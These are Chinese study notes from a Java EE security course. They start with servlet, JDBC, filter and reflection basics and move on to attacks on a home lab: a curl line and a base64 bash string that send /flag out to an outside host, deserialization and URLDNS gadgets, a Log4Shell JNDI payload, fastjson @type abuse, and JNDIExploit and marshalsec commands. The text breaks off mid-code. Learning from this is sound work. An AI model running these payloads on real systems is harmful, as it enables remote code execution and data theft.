4. 小迪安全v2023笔记 javaEE应用
大体上跟随小迪安全的课程,本意是记录自己的学习历程,不能说是完全原创吧,大家可以关注一下小迪安全。
若有冒犯,麻烦私信移除。
头铁用了Eclipse,后面环境巨难配,建议用idea做。
默认有java基础。
文章目录
0. 一些概念
Servlet是运行在Web服务器上的程序,它作为来自Web浏览器或其他http客户端的请求和http服务器上的数据库或应用程序之间的中间层。使用servlet可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。
tomcat是免费开源的轻量级服务器。当配置正确时,Apache 为HTML页面服务,而Tomcat 实际上运行JSP 页面和Servlet。
1. javaEE环境配置
下载安装配置好以下软件
jdk7 (jdk-17后面的复现不了)
mysql 8.0
navicat
tomcat 8.5
- 记得去conf的server.xml里把8080端口改成9528
- 去conf的logging.properties里修改
java.util.logging.ConsoleHandler.encoding = GBK - 系统环境变量
CATALINA_HOME设置为自己tomcat路径,系统环境变量Path里添加%CATALINA_HOME%\bin。 - 在cmd里输入
startup.bat,然后访问127.0.0.1:9528。
eclipse IDE for Enterprise Java and Web Developers

web.xml 配置映射关系
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<display-name>javaee1</display-name>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.jsp</welcome-file>
<welcome-file>index.htm</welcome-file>
<welcome-file>default.html</welcome-file>
<welcome-file>default.jsp</welcome-file>
<welcome-file>default.htm</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>test1</servlet-name>
<servlet-class>com.example.demo1.test1</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>test1</servlet-name>
<url-pattern>/test</url-pattern>
</servlet-mapping>
</web-app>
src/main/java/com/example/demo1/test1.java
package com.example.demo1;
import javax.servlet.http.*;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
@WebServlet(name="test1",value="/test")
public class test1 extends HttpServlet{
@Override
protected void doGet(HttpServletRequest req,HttpServletResponse resp)throws ServletException,IOException{
//super.doGet(req, resp);
System.out.println("hello world");
}
}

2. Servlet路由,get与post
生命周期
实例化->初始化->服务->消亡
src/main/java/com/example/demo1/test1.java
package com.example.demo1;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet(name = "test1", urlPatterns = {"/test"})
public class test1 extends HttpServlet {
@Override
public void init(ServletConfig config) throws ServletException {
// TODO Auto-generated method stub
super.init(config);
System.out.println("init");
}
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// TODO Auto-generated method stub
super.service(req, resp);
System.out.println("Http servlet");
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
// TODO Auto-generated method stub
super.service(req, res);
System.out.println("servlet service");
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//System.out.println("hello world");
req.setCharacterEncoding("utf-8");
String name = req.getParameter("name");
resp.setContentType("text/html;charset=UTF-8");
PrintWriter out = resp.getWriter();
if (name != null) {
out.println("name: " + name);
} else {
out.println("No name parameter found.");
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
req.setCharacterEncoding("utf-8");
String name = req.getParameter("name");
System.out.print(name);
resp.setContentType("text/html;charset=UTF-8");
PrintWriter out = resp.getWriter();
if (name != null) {
out.println("name: " + name);
}
}
@Override
public void destroy() {
// TODO Auto-generated method stub
super.destroy();
System.out.println("destroy");
}
}
访问http://127.0.0.1:9528/javaee1/test


3. JDBC mybatis hibernate
JDBC是Java用于数据库访问的基础API,MyBatis是一个持久层框架,它封装了JDBC并提供灵活的SQL映射功能,使开发者能更方便地操作数据库;而Hibernate则是一个完整的ORM框架,它允许开发者以面向对象的方式操作数据库,自动生成和执行SQL语句,提高了开发效率。
1. JDBC配置与使用
1.访问https://mvnrepository.com,下载数据库驱动mysql-connector-java.jar
2.将jar拖进WEB-INF的lib目录下。
3.在Eclipse中,右键点击webapp,选择 Build Path -> Configure Build Path...。
4.选择Libraries选项,点击add External jars,添加jar。

MysqlServlet.java 普通sql语句
package com.example.demo1;
import java.sql.*;
public class MysqlServlet {
//8.0以下
//static final String JDBC_DRIVER="com.mysql.jdbc.Driver";
//static final String DB_URL="jdbc:mysql://localhost:3306/user";
//mysql8.0以上
static final String JDBC_DRIVER="com.mysql.cj.jdbc.Driver";
static final String DB_URL="jdbc:mysql://localhost:3306/user?useSSL=false&serverTimezone=UTC";
//用户名,密码
static final String USER ="root";
static final String PASS ="123456";
public static void main(String[] args) {
Connection conn=null;
Statement stmt=null;
ResultSet rs=null;
try {
// 加载并注册JDBC驱动类
Class.forName(JDBC_DRIVER);
// 建立数据库连接
conn = DriverManager.getConnection(DB_URL, USER, PASS);
// 操作数据库...
stmt=conn.createStatement();
String sql = "SELECT * FROM t_user";
rs = stmt.executeQuery(sql);
// 处理查询结果,一次一行
while (rs.next()) {
System.out.println("rs: " + rs.getInt("id")+" "+rs.getString("username")+" "+rs.getString("password"));
}
// 关闭连接
conn.close();
} catch (ClassNotFoundException e) {
System.out.println("MySQL JDBC 驱动未找到");
e.printStackTrace();
} catch (SQLException e) {
System.out.println("数据库连接失败");
e.printStackTrace();
}
}
}

预编译写法防sql注入
public static void main(String[] args) {
Connection conn=null;
PreparedStatement pstmt = null;
ResultSet rs=null;
try {
// 加载并注册JDBC驱动类
Class.forName(JDBC_DRIVER);
// 建立数据库连接
conn = DriverManager.getConnection(DB_URL, USER, PASS);
// 查询语句
String sql = "SELECT * FROM t_user where id>? and username!=?";
pstmt=conn.prepareStatement(sql);
//参数一表示占位符位数(从1开始)
pstmt.setInt(1, 1);
pstmt.setString(2, "admin");
rs = pstmt.executeQuery();
// 处理查询结果
while (rs.next()) {
System.out.println("rs: " + rs.getInt("id")+" "+rs.getString("username")+" "+rs.getString("password"));
}
// 关闭连接
conn.close();
} catch (ClassNotFoundException e) {
System.out.println("MySQL JDBC 驱动未找到");
e.printStackTrace();
} catch (SQLException e) {
System.out.println("数据库连接失败");
e.printStackTrace();
}
}
2. Filter过滤器

XssFilter.java
package com.example.demo1.filter;
import java.io.IOException;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
@WebFilter("/test2")
public class XssFilter implements Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {//中间件启动后就自动运行
System.out.println("xss过滤开启");
}
@Override
public void destroy() {
//中间件关闭后就自动运行
System.out.println("xss销毁过滤");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
System.out.println("xss正在过滤");
HttpServletRequest request2=(HttpServletRequest) request;
String name=request2.getParameter("name");
if(name!=null && name.contains("<script>")) {
System.out.print("存在xss攻击");
}else {
chain.doFilter(request,response);//放行
}
}
}
test2.java
package com.example.demo1;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(name = "test2", urlPatterns = {"/test2"})
public class test2 extends test1 {
@Override
public void init(ServletConfig config) throws ServletException {//自动调用
super.init(config);
System.out.println("test2 init");
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//System.out.println("hello world");
req.setCharacterEncoding("utf-8");
String name = req.getParameter("name");
resp.setContentType("text/html;charset=UTF-8");
PrintWriter out = resp.getWriter();
if (name != null) {
out.println("name: " + name);
} else {
out.println("No name parameter found.");
}
out.flush();
out.close();
}
@Override
public void destroy() {
//当 Servlet 被 Web 服务器移除出服务或者关闭时,自动调用
super.destroy();
System.out.println("test2 destroy");
}
}
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<display-name>javaee1</display-name>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.jsp</welcome-file>
<welcome-file>index.htm</welcome-file>
<welcome-file>default.html</welcome-file>
<welcome-file>default.jsp</welcome-file>
<welcome-file>default.htm</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>test1</servlet-name>
<servlet-class>com.example.demo1.test1</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>test1</servlet-name>
<url-pattern>/test</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>test2</servlet-name>
<servlet-class>com.example.demo1.test2</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>test2</servlet-name>
<url-pattern>/test2</url-pattern>
</servlet-mapping>
<filter>
<filter-name>XssFilter</filter-name>
<filter-class>com.example.demo1.filter.XssFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>XssFilter</filter-name>
<url-pattern>/test2</url-pattern>
</filter-mapping>
</web-app>

获取cookie
Cookie[] cookies=request2.getCookies();
for(Cookie c :cookies) {//遍历cookies数组
String cname=c.getName();
String cvalue=c.getValue();
System.out.println(cname+cvalue);
}
3. Listener监听器
ListenSession.java
package com.example.demo1.Listener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;
//listener不用加url路由
@WebListener
public class ListenSession implements HttpSessionListener{
@Override
public void sessionCreated(HttpSessionEvent se) {
System.out.println("监听器监听到了创建");
}
@Override
public void sessionDestroyed(HttpSessionEvent se) {
System.out.println("监听器监听到了销毁");
}
}
DSession.java
package com.example.demo1;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(name = "ds", urlPatterns = {"/ds"})
public class DSession extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// TODO Auto-generated method stub
System.out.println("session销毁");
req.getSession().invalidate();
}
}
CSession.java
package com.example.demo1;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(name = "cs", urlPatterns = {"/cs"})
public class CSession extends HttpServlet{
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("创建Session");
req.getSession();//创建session
}
}
web.xml添加
<servlet>
<servlet-name>cs</servlet-name>
<servlet-class>com.example.demo1.CSession</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>cs</servlet-name>
<url-pattern>/cs</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>ds</servlet-name>
<servlet-class>com.example.demo1.DSession</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ds</servlet-name>
<url-pattern>/ds</url-pattern>
</servlet-mapping>

4. java反射
如果项目环境坏了,建议删掉项目,重建一个。
加载完类后,堆内存方法区产生了一个Class类型对象(一个类只有一个),这个对象包含了完整的类的结构信息,这个对象就像一面镜子,我们可以通过镜子看到类的结构,所以称之为反射。
通过反射,我们能在运行时判断任意对象的所属类,成员变量和方法,构造任意类的对象,调用任意类的成员变量与方法,处理注解,生成动态代理等。
1. Java反射-Class对象类的获取
//1.根据类名:类名.class
Class userClass =User.class;
//2.根据对象:对象.getClass()
User user=new User();
Class ac=user.getClass();
//3.根据全限定类名:Class.forname("全路径名")
Class ac=Class.forName("com.example.demo1.User");
//4.通过类加载器获取Class对象:
//ClassLoader.getSystemClassLoader().loadClass("com.example.demo1.User");
ClassLoader clsload=ClassLoader.getSystemClassLoader();
Class ac2=clsload.loadClass("com.example.demo1.User");
要注意的一点,需要把package复制到lib目录下,然后project->clean,build automatically,不然forname函数找不到路径。

User.java
package com.example.demo1;
public class User {
public String name="lihua";
public int age=15;
public User() {
// TODO Auto-generated constructor stub
}
public User(String n,int a) {
// TODO Auto-generated constructor stub
this.name=n;
this.age=a;
}
}
GetClass.java
package com.example.demo1;
import java.lang.Class;
public class GetClass {
public static void main(String[] args) {
System.out.println(666);
try{
ClassLoader clsload=ClassLoader.getSystemClassLoader();
Class ac2=clsload.loadClass("com.example.demo1.User");
System.out.print(ac2);
}catch(Exception e){
System.out.print(e);
}
}
}
2. 利用反射获取成员变量
//Class类中用于获取成员变量的方法
Field[] getFields()://返回所有 公共 成员变量对象的数组
Field[] getDeclaredFields()://返回所有成员变量对象的数组
Field getField(String name)://返回单个公共成员变量对象
Field getDeclaredField(String name)://返回单个成员变量对象
//Field 类中用于创建对象的方法
void set(Object obj,Object value):赋值
Object get(Object obj)获取值。
//Class类中用于获取构造方法的方法
Constructor<?>[] getConstructors(): 返回所有公共构造方法对象的数组
Constructor<?>[] getDeclaredConstructors(): 返回所有构造方法对象的数组
Constructor<T>[] getConstructor(Class<?>... parameterTypes): 返回单个公共构造方法对象
Constructor<T>[] getDeclaredConstructor(Class<?>... parameterTypes):
//返回单个构造方法对象
//Constructor类中用于创建对象的方法
T newInstance(Object... initargs): 根据指定的构造方法创建对象
setAccessible(boolean flag): 设置为true,表示取消访问检查
//Class类中用于获取成员方法的方法
Method[] getMethods():返回所有公共成员方法对象的数组,包括继承的
Method[] getDeclaredMethods():返回所有成员方法对象的数组,不包括继承的
Method getMethod(String name, Class<?>... parameterTypes) :返回单个公共成员方法对象
Method getDeclaredMethod(String name, Class<?>... parameterTypes):返回单个成员方法对象
//Method类中用于创建对象的方法
Object invoke(Object obj, Object... args):
运行方法
参数一:用obj对象调用该方法
参数二:调用方法的传递的参数(如果没有就不写)
返回值:方法的返回值(如果没有就不写)

GetClass.java修改对应部分
User u=new User();
Class ac2=Class.forName("com.example.demo1.User");
Field field=ac2.getField("age");
Object a=field.get(u);
System.out.println(a);//15
field.set(u, 44);
System.out.print(field.get(u));//44
Constructor c1=ac2.getDeclaredConstructor(String.class);//获取构造方法
System.out.println(c1);//public com.example.demo1.User(java.lang.String,int)
//临时开启对私有的访问
c1.setAccessible(true);
User uu=(User)c1.newInstance("lisi");
System.out.println(uu.name);//lisi
User u2=new User();
Method m1=ac2.getDeclaredMethod("ptall",String.class,int.class);
m1.invoke(u2,"zzz",66);//zzz 66
User.java 添加类方法
private User(String n) {
this.name=n;
}
public void ptall(String n,int a) {
System.out.println(n+" "+a);
}
3. 不安全命令执行
原型:
Runtime.*getRuntime*().exec("calc");
该函数不会解析Shell命令或Shell特性(如管道|、重定向>、反引号等)。
可以显示调用bash -c执行子查询
curl http://`cat /flag`.i5yh54u0.requestrepo.co
java.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCAgaHR0cDovL2BjYXQgL2ZsYWdgLmk1eWg1NHUwLnJlcXVlc3RyZXBvLmNvbS8=}|{base64,-d}|{bash,-i}')
反射:
Class ac1=Class.forName("java.lang.Runtime");
Method exec1=ac1.getMethod("exec", String.class);
Method getRuntime1=ac1.getMethod("getRuntime");
Object runtimeObject=getRuntime1.invoke(ac1);
exec1.invoke(runtimeObject, "calc.exe");
5. java反序列化初识
序列化:将内存中的对象压缩成字节流。
反序列化:将字节流转化成内存中的对象。
几种创建的序列化和反序列化协议
- Java内置的writeObject()/readObject()
- Java内置的XMLDecoder()/XMLEncoder()
- Xstream
- SnakeYaml
- FastJson
- Jackson
类实现序列化需满足的条件
- 实现java.io.Serializeble接口
- 该类所有属性必须可序列化
- 如果有一个属性不可序列化,那么这个属性必须注明是短暂的
为什么出现反序列化安全问题
内置原生写法
- 重写readObject方法
- 输出调用toString方法
1. 重写readObject方法
User.java
package com.example.demo1;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class User implements Serializable{
public String name="lihua";
public int age=15;
public User() {
}
public User(String n,int a) {
this.name=n;
this.age=a;
}
public String toString() {
return "User{"+"name= "+name+" , age= "+age+" }";
}
public void ptall() {
System.out.println(name+" "+age);
}
private void readObject(ObjectInputStream ois)throws IOException,ClassNotFoundException{
//指向正确的defaultReadObject
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}
serializedemo1.java
package com.example.demo1;
import java.io.*;
public class serializedemo1 {
public static void main(String[] args)throws IOException {
User u =new User("serialize2",63);// 调用方法将User对象序列化并保存到文件
SerializableTest(u);
}
public static void SerializableTest(Object obj) throws IOException {
//将对象obj进行序列化后输出到1.txt
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(obj);
}
}
Unserializedemo1.java
package com.example.demo1;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class unserializedemo1 {
public static void main(String[] args)throws IOException,ClassNotFoundException {
//调用下面方法将1.txt反序列化成类对象
System.out.println(UnserializableTest("1.txt"));
}
public static Object UnserializableTest(String filename) throws IOException,ClassNotFoundException {
//读取File文件内容进行反序列化
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
Object o=objectInputStream.readObject();
return o;
}
}

代码执行,成功弹出计算器。
2. URLDNS链
HashMap.readObject()->HashMap.putVal()->HashMap.hash()->URL.hashCode()
hashCode执行结果触发dns请求,如果是执行命令的话就是RCE漏洞。
urldns.java
package com.example.demo1;
import java.util.HashMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.net.URL;
public class urldns implements Serializable{
public static void main(String[] args) throws IOException,ClassNotFoundException{
HashMap<URL, Integer> hash=new HashMap<>();
URL url =new URL("http://whoami.v0taa6.dnslog.cn");//写dnslog.cn给的网址,并把whoami以子域名的形式外带
hash.put(url, 1);
SerializableTest(hash);
UnserializableTest("dns.txt");
}
public static void SerializableTest(Object obj) throws IOException {
//将对象obj进行序列化后输出到dns.txt
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("dns.txt"));
oos.writeObject(obj);
}
public static Object UnserializableTest(String filename) throws IOException,ClassNotFoundException {
//读取File文件内容进行反序列化
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
Object o=objectInputStream.readObject();
return o;
}
}
攻击脚本ysoserial.jar
6. DNSlog
dnslog.cn
DNSLog的原理是利用DNS协议的特性,将需要收集的信息编码成DNS查询请求,然后将请求发送到DNS服务器,最后通过DNS服务器的响应来获取信息。
DNS解析流程

比如SQL注入时,网站响应无回显,可以以dnslog子域名的方式外带SQL结果。

7. 一些第三方组件
Maven能够自动下载项目所需的所有依赖项,并且管理这些依赖的版本,确保项目的构建一致性。
log4j是一个流行的Java日志框架,用于记录应用程序的运行时信息。
1. maven与log4j配置
下载安装apache-maven-3.8.8
添加环境变量MAVEN_HOME,值为apache-maven-3.8.8的路径。
环境变量path添加%MAVEN_HOME%\bin
在apache-maven-3.8.8-bin目录下新建mvn_repository目录。
在apache-maven-3.8.8\conf\settings.xml里修改对应的值,如下。
<localRepository>你的路径/apache-maven-3.8.8-bin/mvn_repository</localRepository>
再修改生效的mirrors标签同下(换源):
<mirrors>
<mirror>
<id>alimaven</id>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/groups/public/</url>
<mirrorOf>central</mirrorOf>
</mirror>
<mirror>
<id>alimaven</id>
<mirrorOf>central</mirrorOf>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
</mirror>
</mirrors>
eclipse点击windows->preferences->maven->installations->add。添加完后勾选mvn_repository。


新建maven project,要注意选internal和webapp。

进程卡在33%左右时,需要在console输入Y。
进入mvnrepository.com,搜索apache log4j core(2.14.1版本)和java servlet api (3.1.0)。
将使用maven的依赖添加到maven的pom.xml中,然后run as maven test,下载依赖。
pom.xml参考如下
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>mavenexample1.com</groupId>
<artifactId>maven1</artifactId>
<packaging>war</packaging>
<version>0.0.1-SNAPSHOT</version>
<name>maven1 Maven Webapp</name>
<url>http://maven.apache.org</url>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
</dependencies>
<build>
<finalName>maven1</finalName>
</build>
</project>
java Resources/src/main/java下新建package com.example.demo2,在package里新建log4jTest.java。
log4jTest.java
package com.example.demo2;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(name="log4j",urlPatterns = {"/log4j"})
public class log4jTest extends HttpServlet{
private static final Logger logger=LogManager.getLogger(log4jTest.class);
@Override
public void init(ServletConfig config) throws ServletException {
// TODO Auto-generated method stub
super.init(config);
System.out.println("init");
String codeString="${java:os}";
logger.error("{}",codeString);
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//System.out.println("hello world");
req.setCharacterEncoding("utf-8");
String name = req.getParameter("name");
resp.setContentType("text/html;charset=UTF-8");
PrintWriter out = resp.getWriter();
if (name != null) {
out.println("name: " + name);
} else {
out.println("No name parameter found.");
}
}
}
web.xml参考如下
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>maven1</display-name>
<servlet>
<servlet-name>log4j</servlet-name>
<servlet-class>com.example.demo2.log4jTest</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>log4j</servlet-name>
<url-pattern>/log4j</url-pattern>
</servlet-mapping>
</web-app>
然后把package复制到lib目录下,然后project->clean,build automatically。(让项目能找到你的代码路径)

然后把在中间servers->tomcat v8.5添加maven1,并运行。

查看运行结果

2. log4j2远程代码执行
Java 命名和目录接口 (JNDI) 是一种 Java API,它允许 Java 软件客户端通过名称发现和查找数据和对象。JNDI 提供了一个通用接口,用于访问不同的命名和目录服务,例如 LDAP、DNS 和 NIS 提供的服务。JNDI 可用于访问 Java EE 应用程序中的数据库、队列和 EJB(Enterprise JavaBeans)等资源,也可用于通过 RMI(远程方法调用)或 CORBA(通用对象请求代理架构)访问远程对象)。
高版本jdk利用
https://www.cnblogs.com/EddieMurphy-blogs/p/18078943
https://www.cnblogs.com/uf9n1x/p/17343393.html
低版本jdk利用
自行下载JNDIExploit-SNAPSHOT.jar。https://www.cnblogs.com/Welk1n/p/11701401.html
攻击机 kali linux
java -jar ./JNDI* -C "calc" -A 192.168.10.4
靶机,需要控制eclipse编译时的jdk版本
lg4.java
package com.jk;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import org.jetbrains.annotations.NotNull;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/log4j")
public class lg4 extends HttpServlet{
private static final Logger logger=LogManager.getLogger(lg4.class);
@Override
public void doGet( HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//System.out.println("hello world");
String code= req.getParameter("code");
PrintWriter out = resp.getWriter();
if (code != null) {
out.println("code exists" );
logger.error("{}",code);
} else {
out.println("No code parameter found.");
}
}
}
pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>untitled1</artifactId>
<packaging>war</packaging>
<version>1.0-SNAPSHOT</version>
<name>untitled1 Maven Webapp</name>
<url>http://maven.apache.org</url>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.jetbrains</groupId>
<artifactId>annotations</artifactId>
<version>RELEASE</version>
<scope>compile</scope>
</dependency>
</dependencies>
<build>
<finalName>untitled1</finalName>
</build>
</project>
访问网页时传参?code=${jndi:ldap://192.168.10.4:1039/fgf4fp}
我试了一下idea专业版+tomcat7.0.12+jdk_8u72尝试了一下,发现${jndi:ldap://192.168.10.5:1389/73gdaq}不会解析,很奇怪。

下面我写rmiserver的时候顺带复现成功。
3. fastjson
mvn repository 搜索fastjson1 compatible(1.2.24),然后maven代码放进pom.xml,maven test。
ifconfig

fastjsondemo1.java
package com.example.demo2;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
class fastjsondemo1{
public static void main(String[] args) {
//u Object 对象
User u=new User();
//使用fastjson的函数来把对象转为json数据
String j1=JSONObject.toJSONString(u);
System.out.println(j1);//{"age":15,"name":"lihua"}
String j2=JSONObject.toJSONString(u,SerializerFeature.WriteClassName);
System.out.println(j2);//{"@type":"com.example.demo2.User","age":15,"name":"lihua"}
//json->对象
String test="{\"@type\":\"com.example.demo2.User\",\"age\":15,\"name\":\"lihua\"}";
JSONObject jsonObject1=JSON.parseObject(test);
System.out.println(jsonObject1);//{"name":"lihua","age":15}
//若修改@type的值
String test1="{\"@type\":\"com.example.demo2.Run1\",\"age\":15,\"name\":\"lihua\"}";
JSONObject jsonObject2=JSON.parseObject(test1);
System.out.println(jsonObject2);//跳计算器
}
}
Run1.java
package com.example.demo2;
import java.io.IOException;
public class Run1 {
public Run1( )throws IOException {
// TODO Auto-generated constructor stub
Runtime.getRuntime().exec("calc");
}
}
8. jndi注入
JNDI:Java命名和目录接口
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议
CORBA:公共对象请求代理体系结构
| JDK6 | JDK7 | JDK8 | JDK11 | |
|---|---|---|---|---|
| RMI可用 | <6u132 | <7u122 | <8u113 | 无 |
| LDAP可用 | <6u211 | <7u201 | <8u191 | <11.0.1 |

1. 使用JNDI-Injection-Exploit工具
环境:jdk1.8_72,idea2024
虚拟机java -jar ./JNDI-Inject* -C "calc" -A 192.168.10.5
相当于启动了http服务端和ldap/RMI服务端。

jndi.java
package com.jk;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;
public class jndi {
public static void main(String[] args) throws NamingException,IOException {
//创建一个rmi ldap服务
InitialContext ini=new InitialContext();
//调用rmi,ldap等服务(远程服务),远程的class文件被执行
//ini.lookup("rmi://192.168.10.5:1099/jcxqeh");
ini.lookup("ldap://192.168.10.5:1389/jcxqeh");
}
}

2. 使用marshalsec工具
- 编写testjndi.java
//注意这里不能写包名,不然后面远程加载时会显示包名错误,JNDI查找的类名与实际类名不匹配
//NoClassDefFoundError: testjndi (wrong name: com/jk/testjndi)
import java.io.IOException;
public class testjndi {
public testjndi()throws IOException{
Runtime.getRuntime().exec("calc");
}
}
- 编译调用对象
PS C:\Users\21609\IdeaProjects\untitled1\src\main\java\com\jk> javac testjndi.java
javac版本为1.8.0_72
- 将
.class文件拖到虚拟机kali中,使用python启动http服务
python -m http.server -b 192.168.10.5 8080

-
虚拟机使用工具生成调用协议(rmi,ldap)
oracle官网下载
jdk1.8.0_72的linux版本tar -xzvf jdk1.8.0_72* -C /usr/lib/jvmsudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_72/bin/java" 4 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_72/bin/javac" 4 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_72/bin/javaws" 4update-alternatives --config java切换jdk版本
java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#testjndi
java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#testjndi
- 漏洞端调用LDAP服务端
package com.jk;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;
public class jndi {
public static void main(String[] args) throws NamingException,IOException {
